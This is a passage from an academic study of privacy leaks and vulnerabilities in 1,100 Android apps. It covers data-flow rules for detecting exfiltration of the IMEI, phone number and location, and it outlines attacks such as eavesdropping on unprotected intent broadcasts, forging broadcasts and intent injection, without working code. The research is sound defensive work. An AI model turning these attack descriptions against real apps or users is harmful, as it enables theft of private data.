leave the phone: the user’s phone number, IMEI (device
ID), IMSI (subscriber ID), and ICC-ID (SIM card serial
number). In our study, we wanted to check that this infor-
mation is not leaked to the network. While this property
can in principle be coded using automata, data flow spec-
ification allows for a much easier encoding. The specifi-
cation declaratively labels program statements matching
certain syntactic patterns as data flow sources and sinks.
Data flows between the sources and sinks are violations.

Structural analysis. Structural analysis allows for
declarative pattern matching on the abstract syntax of
the input source code. Structural analysis specifications
are not concerned with program executions or data flow,
therefore, analysis is local and straightforward. For ex-
ample, in our study, we wanted to specify a bug pattern
where an Android application mines the device ID of the
phone on which it runs. This pattern was defined using
a structural rule that stated that the input program called
a method getDeviceId() whose enclosing class was an-
droid.telephony.TelephonyManager.

Semantic analysis. Semantic analysis allows the specifi-
cation of a limited set of constraints on the values used by
the input program. For example, a property of interest in
our study was that an Android application does not send
SMS messages to hard-coded targets. To express this
property, we defined a pattern matching calls to Android
messaging methods such as sendTextMessage(). Seman-
tic specifications permit us to directly specify that the
first parameter in these calls (the phone number) is not
a constant. The analyzer detects violations to this prop-
erty using constant propagation techniques well known
in program analysis literature.

4.2 Analysis Overview

Our analysis covers both dangerous functionality and
vulnerabilities. Selecting the properties for study was a
significant challenge. For brevity, we only provide an
overview of the specifications. The technical report [15]
provides a detailed discussion of specifications.
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Misuse of Phone Identifiers (Section 5.1.1). Previous
studies [14, 12] identified phone identifiers leaking to re-
mote network servers. We seek to identify not only the
existence of data flows, but understand why they occur.

Exposure of Physical Location (Section 5.1.2). Previous
studies [14] identified location exposure to advertisement
servers. Many applications provide valuable location-
aware utility, which may be desired by the user. By man-
ually inspecting code, we seek to identify the portion of
the application responsible for the exposure.

Abuse of Telephony Services (Section 5.2.1). Smart-
phone malware has sent SMS messages to premium-rate
numbers. We study the use of hard-coded phone num-
bers to identify SMS and voice call abuse.

Eavesdropping on Audio/Video (Section 5.2.2). Audio
and video eavesdropping is a commonly discussed smart-
phone threat [41]. We examine cases where applications
record audio or video without control flows to UI code.

Botnet Characteristics (Sockets) (Section 5.2.3). PC
botnet clients historically use non-HTTP ports and pro-
tocols for command and control. Most applications use
HTTP client wrappers for network connections, there-
fore, we examine Socket use for suspicious behavior.

Harvesting Installed Applications (Section 5.2.4). The
list of installed applications is a valuable demographic
for marketing. We survey the use of APIs to retrieve this
list to identify harvesting of installed applications.

Use of Advertisement Libraries (Section 5.3.1). Pre-
vious studies [14, 12] identified information exposure to
ad and analytics networks. We survey inclusion of ad and
analytics libraries and the information they access.

Dangerous Developer Libraries (Section 5.3.2). During
our manual source code inspection, we observed danger-
ous functionality replicated between applications. We re-
port on this replication and the implications.

Android-specific Vulnerabilities (Section 5.4). We
search for non-secure coding practices [17, 10], includ-
ing: writing sensitive information to logs, unprotected
broadcasts of information, IPC null checks, injection at-
tacks on intent actions, and delegation.

General Java Application Vulnerabilities. We look for
general Java application vulnerabilities, including mis-
use of passwords, misuse of cryptography, and tradi-
tional injection vulnerabilities. Due to space limitations,
individual results for the general vulnerability analysis
are reported in the technical report [15].

5 Application Analysis Results

In this section, we document the program analysis results
and manual inspection of identified violations.

Table 2: Access of Phone Identifier APIs
Identifier # Calls # Apps # w/ Permission∗

Phone Number 167 129 105
IMEI 378 216 184†

IMSI 38 30 27
ICC-ID 33 21 21
Total Unique - 246 210†

∗ Defined as having the READ_PHONE_STATE permission.
† Only 1 app did not also have the INTERNET permission.

5.1 Information Misuse
In this section, we explore how sensitive information is
being leaked [12, 14] through information sinks includ-
ing OutputStream objects retrieved from URLConnec-
tions, HTTP GET and POST parameters in HttpClient
connections, and the string used for URL objects. Future
work may also include SMS as a sink.

5.1.1 Phone Identifiers

We studied four phone identifiers: phone number, IMEI
(device identifier), IMSI (subscriber identifier), and ICC-
ID (SIM card serial number). We performed two types of
analysis: a) we scanned for APIs that access identifiers,
and b) we used data flow analysis to identify code capa-
ble of sending the identifiers to the network.

Table 2 summarizes APIs calls that receive phone
identifiers. In total, 246 applications (22.4%) included
code to obtain a phone identifier; however, only 210 of
these applications have the READ_PHONE_STATE permis-
sion required to obtain access. Section 5.3 discusses code
that probes for permissions. We observe from Table 2
that applications most frequently access the IMEI (216
applications, 19.6%). The phone number is used second
most (129 applications, 11.7%). Finally, the IMSI and
ICC-ID are very rarely used (less than 3%).

Table 3 indicates the data flows that exfiltrate phone
identifiers. The 33 applications have the INTERNET

permission, but 1 application does not have the READ_

PHONE_STATE permission. We found data flows for all
four identifier types: 25 applications have IMEI data
flows; 10 applications have phone number data flows;
5 applications have IMSI data flows; and 4 applications
have ICC-ID data flows.

To gain a better understanding of how phone identi-
fiers are used, we manually inspected all 33 identified ap-
plications, as well as several additional applications that
contain calls to identifier APIs. We confirmed exfiltration
for all but one application. In this case, code complexity
hindered manual confirmation; however we identified a
different data flow not found by program analysis. The
analysis informs the following findings.
Finding 1 - Phone identifiers are frequently leaked
through plaintext requests. Most sinks are HTTP
GET or POST parameters. HTTP parameter names
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Table 3: Detected Data Flows to Network Sinks
Phone Identifiers Location Info.

Sink # Flows # Apps # Flows # Apps
OutputStream 10 9 0 0
HttpClient Param 24 9 12 4
URL Object 59 19 49 10
Total Unique - 33 - 13

for the IMEI include: “uid,” “user-id,” “imei,” “devi-
ceId,” “deviceSerialNumber,” “devicePrint,” “X-DSN,”
and “uniquely code”; phone number names include
“phone” and “mdn”; and IMSI names include “did” and
“imsi.” In one case we identified an HTTP parameter for
the ICC-ID, but the developer mislabeled it “imei.”

Finding 2 - Phone identifiers are used as device fin-
gerprints. Several data flows directed us towards code
that reports not only phone identifiers, but also other
phone properties to a remote server. For example, a wall-
paper application (com.eoeandroid.eWallpapers.cartoon)
contains a class named SyncDeviceInfosService that col-
lects the IMEI and attributes such as the OS ver-
sion and device hardware. The method sendDevice-
Infos() sends this information to a server. In an-
other application (com.avantar.wny), the method Phon-
eStats.toUrlFormatedString() creates a URL parameter
string containing the IMEI, device model, platform, and
application name. While the intent is not clear, such fin-
gerprinting indicates that phone identifiers are used for
more than a unique identifier.

Finding 3 - Phone identifiers, specifically the IMEI,
are used to track individual users. Several
applications contain code that binds the IMEI as
a unique identifier to network requests. For ex-
ample, some applications (e.g. com.Qunar and
com.nextmobileweb.craigsphone) appear to bundle the
IMEI in search queries; in a travel application
(com.visualit.tubeLondonCity), the method refreshLive-
Info() includes the IMEI in a URL; and a “keyring” appli-
cation (com.froogloid.kring.google.zxing.client.android)
appends the IMEI to a variable named retailer-
LookupCmd. We also found functionality that in-
cludes the IMEI when checking for updates (e.g.,
com.webascender.callerid, which also includes the
phone number) and retrieving advertisements (see Find-
ing 6). Furthermore, we found two applications
(com.taobo.tao and raker.duobao.store) with network ac-
cess wrapper methods that include the IMEI for all con-
nections. These behaviors indicate that the IMEI is used
as a form of “tracking cookie”.

Finding 4 - The IMEI is tied to personally identifi-
able information (PII). The common belief that the
IMEI to phone owner mapping is not visible outside
the cellular network is no longer true. In several
cases, we found code that bound the IMEI to account

information and other PII. For example, applications
(e.g. com.slacker.radio and com.statefarm.pocketagent)
include the IMEI in account registration and login re-
quests. In another application (com.amazon.mp3), the
method linkDevice() includes the IMEI. Code inspec-
tion indicated that this method is called when the user
chooses to “Enter a claim code” to redeem gift cards.
We also found IMEI use in code for sending comments
and reporting problems (e.g., com.morbe.guarder and
com.fm207.discount). Finally, we found one application
(com.andoop.highscore) that appears to bundle the IMEI
when submitting high scores for games. Thus, it seems
clear that databases containing mappings between phys-
ical users and IMEIs are being created.

Finding 5 - Not all phone identifier use leads to exfiltra-
tion. Several applications that access phone identifiers
did not exfiltrate the values. For example, one applica-
tion (com.amazon.kindle) creates a device fingerprint for
a verification check. The fingerprint is kept in “secure
storage” and does not appear to leave the phone. An-
other application (com.match.android.matchmobile) as-
signs the phone number to a text field used for account
registration. While the value is sent to the network dur-
ing registration, the user can easily change or remove it.

Finding 6 - Phone identifiers are sent to advertise-
ment and analytics servers. Many applications have
custom ad and analytics functionality. For example,
in one application (com.accuweather.android), the class
ACCUWX AdRequest is an IMEI data flow sink. Another
application (com.amazon.mp3) defines Android service
component AndroidMetricsManager, which is an IMEI
data flow sink. Phone identifier data flows also occur
in ad libraries. For example, we found a phone num-
ber data flow sink in the com/wooboo/adlib_android
library used by several applications (e.g., cn.ecook,
com.superdroid.sqd, and com.superdroid.ewc). Sec-
tion 5.3 discusses ad libraries in more detail.

5.1.2 Location Information

Location information is accessed in two ways: (1) calling
getLastKnownLocation(), and (2) defining callbacks in
a LocationListener object passed to requestLocationUp-
dates(). Due to code recovery failures, not all Location-
Listener objects have corresponding requestLocationUp-
dates() calls. We scanned for all three constructs.

Table 4 summarizes the access of location informa-
tion. In total, 505 applications (45.9%) attempt to access
location, only 304 (27.6%) have the permission to do so.
This difference is likely due to libraries that probe for
permissions, as discussed in Section 5.3. The separa-
tion between LocationListener and requestLocationUp-
dates() is primarily due to the AdMob library, which de-
fined the former but has no calls to the latter.
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Table 4: Access of Location APIs
Identifier # Uses # Apps # w/ Perm.∗

getLastKnownLocation 428 204 148
LocationListener 652 469 282
requestLocationUpdates 316 146 128
Total Unique - 505 304†

∗ Defined as having a LOCATION permission.
† In total, 5 apps did not also have the INTERNET permission.

Table 3 shows detected location data flows to the net-
work. To overcome missing code challenges, the data
flow source was defined as the getLatitude() and getLon-
gitude() methods of the Location object retrieved from
the location APIs. We manually inspected the 13 appli-
cations with location data flows. Many data flows ap-
peared to reflect legitimate uses of location for weather,
classifieds, points of interest, and social networking ser-
vices. Inspection of the remaining applications informs
the following findings:
Finding 7 - The granularity of location reporting may
not always be obvious to the user. In one applica-
tion (com.andoop.highscore) both the city/country and
geographic coordinates are sent along with high scores.
Users may be aware of regional geographic information
associated with scores, but it was unclear if users are
aware that precise coordinates are also used.
Finding 8 - Location information is sent to advertise-
ment servers. Several location data flows appeared to
terminate in network connections used to retrieve ads.
For example, two applications (com.avantar.wny and
com.avantar.yp) appended the location to the variable
webAdURLString. Motivated by [14], we inspected the
AdMob library to determine why no data flow was found
and determined that source code recovery failures led to
the false negatives. Section 5.3 expands on ad libraries.

5.2 Phone Misuse
This section explores misuse of the smartphone inter-
faces, including telephony services, background record-
ing of audio and video, sockets, and accessing the list of
installed applications.

5.2.1 Telephony Services
Smartphone malware can provide direct compensation
using phone calls or SMS messages to premium-rate
numbers [18, 25]. We defined three queries to identify
such malicious behavior: (1) a constant used for the SMS
destination number; (2) creation of URI objects with a
“tel:” prefix (used for phone call intent messages) and
the string “900” (a premium-rate number prefix in the
US); and (3) any URI objects with a “tel:” prefix. The
analysis informs the following findings.
Finding 9 - Applications do not appear to be using fixed
phone number services. We found zero applications us-

ing a constant destination number for the SMS API.
Note that our analysis specification is limited to constants
passed directly to the API and final variables, and there-
fore may have false negatives. We found two applica-
tions creating URI objects with the “tel:” prefix and
containing the string “900”. One application included
code to call “tel://0900-9292”, which is a premium-
rate number (e0.70 per minute) for travel advice in the
Netherlands. However, this did not appear malicious, as
the application (com.Planner9292) is designed to provide
travel advice. The other application contained several
hard-coded numbers with “900” in the last four digits
of the number. The SMS and premium-rate analysis re-
sults are promising indicators for non-existence of ma-
licious behavior. Future analysis should consider more
premium-rate prefixes.

Finding 10 - Applications do not appear to be misus-
ing voice services. We found 468 URI objects with
the “tel:” prefix in 358 applications. We manually
inspected a sample of applications to better understand
phone number use. We found: (1) applications fre-
quently include call functionality for customer service;
(2) the “CALL” and “DIAL” intent actions were used
equally for the same purpose (CALL calls immediately
and requires the CALL_PHONE permission, whereas DIAL
has user confirmation the dialer and requires no permis-
sion); and (3) not all hard-coded telephone numbers are
used to make phone calls, e.g., the AdMob library had a
apparently unused phone number hard coded.

5.2.2 Background Audio/Video

Microphone and camera eavesdropping on smartphones
is a real concern [41]. We analyzed application eaves-
dropping behaviors, specifically: (1) recording video
without calling setPreviewDisplay() (this API is always
required for still image capture); (2) AudioRecord.read()
in code not reachable from an Android activity compo-
nent; and (3) MediaRecorder.start() in code not reach-
able from an activity component.

Finding 11 - Applications do not appear to be misusing
video recording. We found no applications that record
video without calling setPreviewDisplay(). The query
reasonably did not consider the value passed to the pre-
view display, and therefore may create false negatives.
For example, the “preview display” might be one pixel
in size. The MediaRecorder.start() query detects audio
recording, but it also detects video recording. This query
found two applications using video in code not reachable
from an activity; however the classes extended Surface-
View, which is used by setPreviewDisplay().

Finding 12 - Applications do not appear to be misus-
ing audio recording. We found eight uses in seven ap-
plications of AudioRecord.read() without a control flow
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path to an activity component. Of these applications,
three provide VoIP functionality, two are games that re-
peat what the user says, and one provides voice search.
In these applications, audio recording is expected; the
lack of reachability was likely due to code recovery fail-
ures. The remaining application did not have the required
RECORD_AUDIO permission and the code most likely was
part of a developer toolkit. The MediaRecorder.start()
query identified an additional five applications recording
audio without reachability to an activity. Three of these
applications have legitimate reasons to record audio:
voice search, game interaction, and VoIP. Finally, two
games included audio recording in a developer toolkit,
but no record permission, which explains the lack of
reachability. Section 5.3.2 discusses developer toolkits.

5.2.3 Socket API Use
Java sockets represent an open interface to external ser-
vices, and thus are a potential source of malicious be-
havior. For example, smartphone-based botnets have
been found to exist on “jailbroken” iPhones [8]. We ob-
serve that most Internet-based smartphone applications
are HTTP clients. Android includes useful classes (e.g.,
HttpURLConnection and HttpClient) for communicating
with Web servers. Therefore, we queried for applications
that make network connections using the Socket class.
Finding 13 - A small number of applications include
code that uses the Socket class directly. We found
177 Socket connections in 75 applications (6.8%). Many
applications are flagged for inclusion of well-known
network libraries such as org/apache/thrift, org/
apache/commons, and org/eclipse/jetty, which
use sockets directly. Socket factories were also detected.
Identified factory names such as TrustAllSSLSocket-
Factory, AllTrustSSLSocketFactory, and NonValidat-
ingSSLSocketFactory are interesting as potential vulnera-
bilities, but we found no evidence of malicious use. Sev-
eral applications also included their own HTTP wrapper
methods that duplicate functionality in the Android li-
braries, but did not appear malicious. Among the appli-
cations including custom network connection wrappers
is a group of applications in the “Finance” category im-
plementing cryptographic network protocols (e.g., in the
com/lumensoft/ks library). We note that these appli-
cations use Asian character sets for their market descrip-
tions, and we could not determine their exact purpose.
Finding 14 - We found no evidence of malicious behav-
ior by applications using Socket directly. We manu-
ally inspected all 75 applications to determine if Socket
use seemed appropriate based on the application descrip-
tion. Our survey yielded a diverse array of Socket uses,
including: file transfer protocols, chat protocols, au-
dio and video streaming, and network connection tether-
ing, among other uses excluded for brevity. A handful

of applications have socket connections to hard-coded
IP address and non-standard ports. For example, one
application (com.eingrad.vintagecomicdroid) downloads
comics from 208.94.242.218 on port 2009. Addition-
ally, two of the aforementioned financial applications
(com.miraeasset.mstock and kvp.jjy.MispAndroid320)
include the kr/co/shiftworks library that connects to
221.143.48.118 on port 9001. Furthermore, one applica-
tion (com.tf1.lci) connects to 209.85.227.147 on port 80
in a class named AdService and subsequently calls getLo-
calAddress() to retrieve the phone’s IP address. Overall,
we found no evidence of malicious behavior, but several
applications warrant deeper investigation.

5.2.4 Installed Applications
The list of installed applications provides valuable mar-
keting data. Android has two relevant APIs types: (1)
a set of get APIs returning the list of installed applica-
tions or package names; and (2) a set of query APIs that
mirrors Android’s runtime intent resolution, but can be
made generic. We found 54 uses of the get APIs in 45
applications, and 1015 uses of the query APIs in 361 ap-
plications. Sampling these applications, we observe:
Finding 15 - Applications do not appear to be har-
vesting information about which applications are in-
stalled on the phone. In all but two cases,
the sampled applications using the get APIs search
the results for a specific application. One applica-
tion (com.davidgoemans.simpleClockWidget) defines a
method that returns the list of all installed applications,
but the results were only displayed to the user. The
second application (raker.duobao.store) defines a simi-
lar method, but it only appears to be called by unused
debugging code. Our survey of the query APIs identi-
fied three calls within the AdMob library duplicated in
many applications. These uses queried specific function-
ality and thus are not likely to harvest application infor-
mation. The one non-AdMob application we inspected
queried for specific functionality, e.g., speech recogni-
tion, and thus did not appear to attempt harvesting.

5.3 Included Libraries
Libraries included by applications are often easy to iden-
tify due to namespace conventions: i.e., the source
code for com.foo.appname typically exists in com/foo/

appname. During our manual inspection, we docu-
mented advertisement and analytics library paths. We
also found applications sharing what we term “developer
toolkits,” i.e., a common set of developer utilities.

5.3.1 Advertisement and Analytics Libraries
We identified 22 library paths containing ad or analytics
functionality. Sampled applications frequently contained
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Table 5: Identified Ad and Analytics Library Paths
Library Path # Apps Format Obtains∗
com/admob/android/ads 320 Obf. L
com/google/ads 206 Plain -
com/flurry/android 98 Obf. -
com/qwapi/adclient/android 74 Plain L, P, E
com/google/android/apps/analytics 67 Plain -
com/adwhirl 60 Plain L
com/mobclix/android/sdk 58 Plain L, E‡

com/millennialmedia/android 52 Plain -
com/zestadz/android 10 Plain -
com/admarvel/android/ads 8 Plain -
com/estsoft/adlocal 8 Plain L
com/adfonic/android 5 Obf. -
com/vdroid/ads 5 Obf. L, E
com/greystripe/android/sdk 4 Obf. E
com/medialets 4 Obf. L
com/wooboo/adlib android 4 Obf. L, P, I†

com/adserver/adview 3 Obf. L
com/tapjoy 3 Plain -
com/inmobi/androidsdk 2 Plain E‡

com/apegroup/ad 1 Plain -
com/casee/adsdk 1 Plain S
com/webtrends/mobile 1 Plain L, E, S, I
Total Unique Apps 561 - -
∗ L = Location; P = Phone number; E = IMEI; S = IMSI; I = ICC-ID
† In 1 app, the library included “L”, while the other 3 included “P, I”.
‡ Direct API use not decompiled, but wrapper .getDeviceId() called.

multiple of these libraries. Using the paths listed in Ta-
ble 5, we found: 1 app has 8 libraries; 10 apps have 7 li-
braries; 8 apps have 6 libraries; 15 apps have 5 libraries;
37 apps have 4 libraries; 32 apps have 3 libraries; 91 apps
have 2 libraries; and 367 apps have 1 library.

Table 5 shows advertisement and analytics library use.
In total, at least 561 applications (51%) include these
libraries; however, additional libraries may exist, and
some applications include custom ad and analytics func-
tionality. The AdMob library is used most pervasively,
existing in 320 applications (29.1%). Google Ads is used
by 206 applications (18.7%). We observe from Table 5
that only a handful of libraries are used pervasively.

Several libraries access phone identifier and location
APIs. Given the library purpose, it is easy to specu-
late data flows to network APIs. However, many of
these flows were not detected by program analysis. This
is (likely) a result of code recovery failures and flows
through Android IPC. For example, AdMob has known
location to network data flows [14], and we identified
a code recovery failure for the class implementing that
functionality. Several libraries are also obfuscated, as
mentioned in Section 6. Interesting, 6 of the 13 li-
braries accessing sensitive information are obfuscated.
The analysis informs the following additional findings.

Finding 16 - Ad and analytics library use of phone iden-
tifiers and location is sometimes configurable. The
com/webtrends/mobile analytics library (used by
com.statefarm.pocketagent), defines the WebtrendsId-
Method class specifying four identifier types. Only one

type, “system id extended” uses phone identifiers (IMEI,
IMSI, and ICC-ID). It is unclear which identifier type
was used by the application. Other libraries provide sim-
ilar configuration. For example, the AdMob SDK docu-
mentation [6] indicates that location information is only
included if a package manifest configuration enables it.

Finding 17 - Analytics library reporting frequency is of-
ten configurable. During manual inspection, we encoun-
tered one application (com.handmark.mpp.news.reuters)
in which the phone number is passed to FlurryA-
gent.onEvent() as generic data. This method is called
throughout the application, specifying event labels such
as “GetMoreStories,” “StoryClickedFromList,” and “Im-
ageZoom.” Here, we observe the main application code
not only specifies the phone number to be reported, but
also report frequency.

Finding 18 - Ad and analytics libraries probe for permis-
sions. The com/webtrends/mobile library accesses
the IMEI, IMSI, ICC-ID, and location. The (Webtrend-
sAndroidValueFetcher) class uses try/catch blocks that
catch the SecurityException that is thrown when an appli-
cation does not have the proper permission. Similar func-
tionality exists in the com/casee/adsdk library (used
by com.fish.luny). In AdFetcher.getDeviceId(), An-
droid’s checkCallingOrSelfPermission() method is eval-
uated before accessing the IMSI.

5.3.2 Developer Toolkits
Several inspected applications use developer toolkits
containing common sets of utilities identifiable by class
name or library path. We observe the following.

Finding 19 - Some developer toolkits replicate dan-
gerous functionality. We found three wallpaper
applications by developer “callmejack” that include
utilities in the library path com/jackeeywu/apps/

eWallpaper (com.eoeandroid.eWallpapers.cartoon,
com.jackeey.wallpapers.all1.orange, and com.jackeey.
eWallpapers.gundam). This library has data flow sinks
for the phone number, IMEI, IMSI, and ICC-ID. In July
2010, Lookout, Inc. reported a wallpaper application
by developer “jackeey,wallpaper” as sending these
identifiers to imnet.us [29]. This report also indicated
that the developer changed his name to “callmejack”.
While the original “jackeey,wallpaper” application was
removed from the Android Market, the applications by
“callmejack” remained as of September 2010.3

Finding 20 - Some developer toolkits probe for permis-
sions. In one application (com.july.cbssports.activity),
we found code in the com/julysystems library that
evaluates Android’s checkPermission() method for the
READ_PHONE_STATE and ACCESS_FINE_LOCATION per-
missions before accessing the IMEI, phone number, and
last known location, respectively. A second application
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(v00032.com.wordplayer) defines the CustomException-
Hander class to send an exception event to an HTTP
URL. The class attempts to retrieve the phone num-
ber within a try/catch block, catching a generic Ex-
ception. However, the application does not have the
READ_PHONE_STATE permission, indicating the class is
likely used in multiple applications.
Finding 21 - Well-known brands sometimes commis-
sion developers that include dangerous functional-
ity. The com/julysystems developer toolkit iden-
tified as probing for permissions exists in two appli-
cations with reputable application providers. “CBS
Sports Pro Football” (com.july.cbssports.activity) is pro-
vided by “CBS Interactive, Inc.”, and “Univision Fütbol”
(com.july.univision) is provided by “Univision Interac-
tive Media, Inc.”. Both have location and phone state
permissions, and hence potentially misuse information.

Similarly, “USA TODAY” (com.usatoday.android.
news) provided by “USA TODAY” and “FOX News”
(com.foxnews.android) provided by “FOX News Net-
work, LLC” contain the com/mercuryintermedia

toolkit. Both applications contain an Android ac-
tivity component named MainActivity. In the ini-
tialization phase, the IMEI is retrieved and passed
to ProductConfiguration.initialize() (part of the com/

mecuryintermedia toolkit). Both applications have
IMEI to network data flows through this method.

5.4 Android-specific Vulnerabilities
This section explores Android-specific vulnerabilities.
The technical report [15] provides specification details.

5.4.1 Leaking Information to Logs
Android provides centralized logging via the Log API,
which can displayed with the “logcat” command.
While logcat is a debugging tool, applications with the
READ_LOGS permission can read these log messages. The
Android documentation for this permission indicates that
“[the logs] can contain slightly private information about
what is happening on the device, but should never con-
tain the user’s private information.” We looked for data
flows from phone identifier and location APIs to the An-
droid logging interface and found the following.
Finding 22 - Private information is written to Android’s
general logging interface. We found 253 data flows in 96
applications for location information, and 123 flows in
90 applications for phone identifiers. Frequently, URLs
containing this private information are logged just before
a network connection is made. Thus, the READ_LOGS

permission allows access to private information.

5.4.2 Leaking Information via IPC
Shown in Figure 5, any application can receive intent
broadcasts that do not specify the target component or

Partially Specified Intent Message
- Action: "pkgname.intent.ACTION"

Fully Specified Intent Message
- Action: "pkgname.intent.ACTION"
- Component: "pkgname.FooReceiver"

malicous.BarReceiver
- Filter: "pkgname.intent.ACTION"

pkgname.FooReceiver
- Filter: "pkgname.intent.ACTION"

Application: pkgname Application: malicous

Figure 5: Eavesdropping on unprotected intents

protect the broadcast with a permission (permission vari-
ant not shown). This is unsafe if the intent contains sensi-
tive information. We found 271 such unsafe intent broad-
casts with “extras” data in 92 applications (8.4%). Sam-
pling these applications, we found several such intents
used to install shortcuts to the home screen.
Finding 23 - Applications broadcast private informa-
tion in IPC accessible to all applications. We found
many cases of applications sending unsafe intents to
action strings containing the application’s namespace
(e.g., “pkgname.intent.ACTION” for application pkg-
name). The contents of the bundled information var-
ied. In some instances, the data was not sensitive,
e.g., widget and task identifiers. However, we also
found sensitive information. For example one applica-
tion (com.ulocate) broadcasts the user’s location to the
“com.ulocate.service.LOCATION” intent action string
without protection. Another application (com.himsn)
broadcasts the instant messaging client’s status to the
“cm.mz.stS” action string. These vulnerabilities allow
malicious applications to eavesdrop on sensitive infor-
mation in IPC, and in some cases, gain access to infor-
mation that requires a permission (e.g., location).

5.4.3 Unprotected Broadcast Receivers
Applications use broadcast receiver components to re-
ceive intent messages. Broadcast receivers define “intent
filters” to subscribe to specific event types are public. If
the receiver is not protected by a permission, a malicious
application can forge messages.
Finding 24 - Few applications are vulnerable to forg-
ing attacks to dynamic broadcast receivers. We found
406 unprotected broadcast receivers in 154 applications
(14%). We found an large number of receivers sub-
scribed to system defined intent types. These receivers
are indirectly protected by Android’s “protected broad-
casts” introduced to eliminate forging. We found one
application with an unprotected broadcast receiver for a
custom intent type; however it appears to have limited
impact. Additional sampling may uncover more cases.

5.4.4 Intent Injection Attacks
Intent messages are also used to start activity and service
components. An intent injection attack occurs if the in-
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tent address is derived from untrusted input.
We found 10 data flows from the network to an in-

tent address in 1 application. We could not confirm
the data flow and classify it a false positive. The data
flow sink exists in a class named ProgressBroadcasting-
FileInputStream. No decompiled code references this
class, and all data flow sources are calls to URLCon-
nection.getInputStream(), which is used to create Input-
StreamReader objects. We believe the false positives re-
sults from the program analysis modeling of classes ex-
tending InputStream.

We found 80 data flows from IPC to an intent address
in 37 applications. We classified the data flows by the
sink: the Intent constructor is the sink for 13 applica-
tions; setAction() is the sink for 16 applications; and set-
Component() is the sink for 8 applications. These sets
are disjoint. Of the 37 applications, we found that 17
applications set the target component class explicitly (all
except 3 use the setAction() data flow sink), e.g., to relay
the action string from a broadcast receiver to a service.
We also found four false positives due to our assumption
that all Intent objects come from IPC (a few exceptions
exist). For the remaining 16 cases, we observe:
Finding 25 - Some applications define intent addresses
based on IPC input. Three applications use IPC input
strings to specify the package and component names for
the setComponent() data flow sink. Similarly, one appli-
cation uses the IPC “extras” input to specify an action to
an Intent constructor. Two additional applications start
an activity based on the action string returned as a result
from a previously started activity. However, to exploit
this vulnerability, the applications must first start a ma-
licious activity. In the remaining cases, the action string
used to start a component is copied directly into a new
intent object. A malicious application can exploit this
vulnerability by specifying the vulnerable component’s
name directly and controlling the action string.

5.4.5 Delegating Control
Applications can delegate actions to other applications
using a “pending intent.” An application first creates an
intent message as if it was performing the action. It then
creates a reference to the intent based on the target com-
ponent type (restricting how it can be used). The pend-
ing intent recipient cannot change values, but it can fill in
missing fields. Therefore, if the intent address is unspec-
ified, the remote application can redirect an action that is
performed with the original application’s permissions.
Finding 26 - Few applications unsafely delegate actions.
We found 300 unsafe pending intent objects in 116 appli-
cations (10.5%). Sampling these applications, we found
an overwhelming number of pending intents used for ei-
ther: (1) Android’s UI notification service; (2) Android’s
alarm service; or (3) communicating between a UI wid-

get and the main application. None of these cases allow
manipulation by a malicious application. We found two
applications that send unsafe pending intents via IPC.
However, exploiting these vulnerabilities appears to pro-
vides negligible adversarial advantage. We also note that
more a more sophisticated analysis framework could be
used to eliminate the aforementioned false positives.

5.4.6 Null Checks on IPC Input
Android applications frequently process information
from intent messages received from other applications.
Null dereferences cause an application to crash, and can
thus be used to as a denial of service.
Finding 27 - Applications frequently do not perform null
checks on IPC input. We found 3,925 potential null
dereferences on IPC input in 591 applications (53.7%).
Most occur in classes for activity components (2,484
dereferences in 481 applications). Null dereferences in
activity components have minimal impact, as the appli-
cation crash is obvious to the user. We found 746 poten-
tial null dereferences in 230 applications within classes
defining broadcast receiver components. Applications
commonly use broadcast receivers to start background
services, therefore it is unclear what effect a null deref-
erence in a broadcast receiver will have. Finally, we
found 72 potential null dereferences in 36 applications
within classes defining service components. Applica-
tions crashes corresponding to these null dereferences
have a higher probability of going unnoticed. The re-
maining potential null dereferences are not easily associ-
ated with a component type.

5.4.7 SDcard Use
Any application that has access to read or write data on
the SDcard can read or write any other application’s data
on the SDcard. We found 657 references to the SDcard in
251 applications (22.8%). Sampling these applications,
we found a few unexpected uses. For example, the com/
tapjoy ad library (used by com.jnj.mocospace.android)
determines the free space available on the SDcard. An-
other application (com.rent) obtains a URL from a file
named connRentInfo.dat at the root of the SDcard.

5.4.8 JNI Use
Applications can include functionality in native libraries
using the Java Native Interface (JNI). As these methods
are not written in Java, they have inherent dangers. We
found 2,762 calls to native methods in 69 applications
(6.3%). Investigating the application package files, we
found that 71 applications contain .so files. This indi-
cates two applications with an .so file either do not call
any native methods, or the code calling the native meth-
ods was not decompiled. Across these 71 applications,
we found 95 .so files, 82 of which have unique names.
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6 Study Limitations
Our study section was limited in three ways: a) the stud-
ied applications were selected with a bias towards popu-
larity; b) the program analysis tool cannot compute data
and control flows for IPC between components; and c)
source code recovery failures interrupt data and control
flows. Missing data and control flows may lead to false
negatives. In addition to the recovery failures, the pro-
gram analysis tool could not parse 8,042 classes, reduc-
ing coverage to 91.34% of the classes.

Additionally, a portion of the recovered source code
was obfuscated before distribution. Code obfuscation
significantly impedes manual inspection. It likely exists
to protect intellectual property; Google suggests obfus-
cation using ProGuard (proguard.sf.net) for applica-
tions using its licensing service [23]. ProGuard protects
against readability and does not obfuscate control flow.
Therefore it has limited impact on program analysis.

Many forms of obfuscated code are easily recogniz-
able: e.g., class, method, and field names are converted
to single letters, producing single letter Java filenames
(e.g., a.java). For a rough estimate on the use of obfus-
cation, we searched applications containing a.java. In
total, 396 of the 1,100 applications contain this file. As
discussed in Section 5.3, several advertisement and ana-
lytics libraries are obfuscated. To obtain a closer estimate
of the number of applications whose main code is obfus-
cated, we searched for a.java within a file path equiva-
lent to the package name (e.g., com/foo/appname for
com.foo.appname). Only 20 applications (1.8%) have
this obfuscation property, which is expected for free ap-
plications (as opposed to paid applications). However,
we stress that the a.java heuristic is not intended to be
a firm characterization of the percentage of obfuscated
code, but rather a means of acquiring insight.

7 What This All Means
Identifying a singular take-away from a broad study such
as this is non-obvious. We come away from the study
with two central thoughts; one having to do with the
study apparatus, and the other regarding the applications.
ded and the program analysis specifications are en-

abling technologies that open a new door for application
certification. We found the approach rather effective de-
spite existing limitations. In addition to further studies of
this kind, we see the potential to integrate these tools into
an application certification process. We leave such dis-
cussions for future work, noting that such integration is
challenging for both logistical and technical reasons [30].

On a technical level, we found the security character-
istics of the top 1,100 free popular applications to be con-
sistent with smaller studies (e.g., Enck et al. [14]). Our
findings indicate an overwhelming concern for misuse of

privacy sensitive information such as phone identifiers
and location information. One might speculate this oc-
cur due to the difficulty in assigning malicious intent.

Arguably more important than identifying the exis-
tence the information misuse, our manual source code
inspection sheds more light on how information is mis-
used. We found phone identifiers, e.g., phone number,
IMEI, IMSI, and ICC-ID, were used for everything from
